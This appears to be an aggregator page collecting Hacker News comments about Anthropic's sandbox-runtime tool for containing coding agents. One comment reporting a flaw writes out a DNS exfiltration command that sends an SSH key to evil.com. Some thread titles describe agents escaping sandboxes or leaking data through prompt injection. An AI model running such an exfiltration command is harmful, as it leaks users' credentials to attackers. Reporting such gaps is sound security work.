anthropics/sandbox-runtime
View on GitHub ↗ ★ 6,915 TypeScript
A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container.
26 mentions on Hacker News by 24 people: 3 stories, 23 comments · first 2025-10-20 · latest 2026-08-11
20082026
-
…classify Claude Code as a sandbox, though it does have some sandbox features built in, using https://github.com/anthropic-experimental/sandbox-runtime (which I would classify as a sandbox)
comment by simonw · 2026-08-11 · in Claude Code is leaking real email address as a User-Agent string in curl command -
…wish to interact with Claude so much, I've started using Anthropic's sandbox runtime utility "srt": https://github.com/anthropic-experimental/sandbox-runtime This is combined with "auto" mode. Seems to work so far. I've manually checked…
comment by bsdz · 2026-08-10 · in Auto mode is now the default in Claude Code -
…heard good things about nono [1] from colleagues, but I haven't personally tried it out yet. [0] https://github.com/anthropic-experimental/sandbox-runtime [1] https://github.com/nolabs-ai/nono
comment by thehours · 2026-08-05 · in Pi's Minimalism Is Its Advantage -
…talking about how I always put agents in VMs because I don't trust them. Someone suggested `srt` ( https://github.com/anthropic-experimental/sandbox-runtime ) and I like the idea but I don't like how complicated and huge and JavaScript it…
comment by SwellJoe · 2026-07-03 · in Ask HN: Is anyone experimenting with different ways of using LLMs for coding? -
…use it to contain my local coding agents. It's strict by default and enforced at the OS layer. [0] https://github.com/anthropic-experimental/sandbox-runtime
comment by edouard-harris · 2026-07-02 · in ZCode – Harness for GLM-5.2 -
….env .gitconfig .gitmodules .idea .mcp.json .profile .ripgreprc .vscode .zprofile .zshrc config https://github.com/anthropic-experimental/sandbox-runtime/is...
comment by pveierland · 2026-04-01 · in The Claude Code Source Leak: fake tools, frustration regexes, undercover mode -
…only support read blacklist, not a whitelist, so I forked it yesterday to support that [2]. [1] https://github.com/anthropic-experimental/sandbox-runtime [2] https://github.com/carderne/sandbox-runtime
comment by carderne · 2026-03-09 · in Agent Safehouse – macOS-native sandboxing for local agents -
I opened an issue about this on day 1 of the release: https://github.com/anthropic-experimental/sandbox-runtime/is... I ended up making my own sandbox wrapper instead https://GitHub.com/arianvp/landlock-nix
comment by arianvanp · 2026-03-03 · in Claude Code escapes its own denylist and sandbox -
for anyone reading this later, claude code's sandbox code is at https://github.com/anthropic-experimental/sandbox-runtime/
comment by caspar · 2026-02-24 · in Claude Sonnet 4.6 -
…and distributed as a bun standalone executable it's difficult to patch the bug yourself. [0]: https://github.com/anthropic-experimental/sandbox-runtime/is...
comment by caspar · 2026-01-30 · in Claude Code daily benchmarks for degradation tracking -
pretty close to anthropic’s version, yes? or am I mistaken https://github.com/anthropic-experimental/sandbox-runtime
comment by will_wright · 2026-01-25 · in Show HN: Fence – Sandbox CLI commands with network/filesystem restrictions -
…put all my trust in Claude Code as compared to running it completely inside some environment.. [0] https://github.com/anthropic-experimental/sandbox-runtime
comment by alsko · 2026-01-21 · in Sandboxing – Claude Code Docs -
/sandbox AFAIK uses https://github.com/anthropic-experimental/sandbox-runtime under the hood. It's still experimental and if you dive into the issues I would call its protection light. Many users experiences erratic issues with perms not…
comment by runekaagaard · 2026-01-21 · in Running Claude Code dangerously (safely) -
Check out https://github.com/anthropic-experimental/sandbox-runtime , which tackles this problem using the built-in userspace sandboxing on macOS and Linux. I run Claude from a mounted volume (but no reason you couldn't make a user for it…
comment by saltypal · 2026-01-13 · in Show HN: Yolobox – Run AI coding agents with full sudo without nuking home dir -
…allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via…
comment by srcreigh · 2026-01-12 · in Cowork: Claude Code for the rest of your work -
…with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're…
comment by felixrieseberg · 2026-01-12 · in Cowork: Claude Code for the rest of your work -
…registry, then asking for a build), not prompt-injecting things like “do whatever it takes.” [1] https://github.com/anthropic-experimental/sandbox-runtime
comment by languid-photic · 2026-01-01 · in Observed Agent Sandbox Bypasses -
…entire point of sandboxing, so none of what you listed would be accessible by default. Check out https://github.com/anthropic-experimental/sandbox-runtime and https://github.com/Zouuup/landrun as examples on how you could restrict agents…
comment by thomas34298 · 2025-11-25 · in Google Antigravity exfiltrates data via indirect prompt injection attack -
…). also: check out the open-source sandbox runtime from Anthropic: [GitHub Repo]( https://github.com/anthropic-experimental/sandbox-runtime ). clearly i have a bias on this topic, lol
comment by mutant · 2025-11-23 · in Show HN: Vibe coded an AI chat app with features I wanted, Poe -
That library is using sandbox-exec to access Seatbelt: https://github.com/anthropic-experimental/sandbox-runtime/bl...
comment by simonw · 2025-10-23 · in The security paradox of local LLMs -
…be used on its own for sandboxing purposes. https://docs.claude.com/en/docs/claude-code/sandboxing https://github.com/anthropic-experimental/sandbox-runtime
comment by knowaveragejoe · 2025-10-22 · in The security paradox of local LLMs -
…released a sandboxing tool based on bubblewrap (Linux, quite lightweight) and sandbox-exec (macOS). https://github.com/anthropic-experimental/sandbox-runtime I wonder if nsjails or gVisor may be useful as well. Here's a more comprehensive…
comment by dloss · 2025-10-21 · in Show HN: Katakate – Dozens of VMs per node for safe code exec -
Link to the GitHub for the native sandboxing: https://github.com/anthropic-experimental/sandbox-runtime
comment by minimaxir · 2025-10-20 · in Claude Code on the web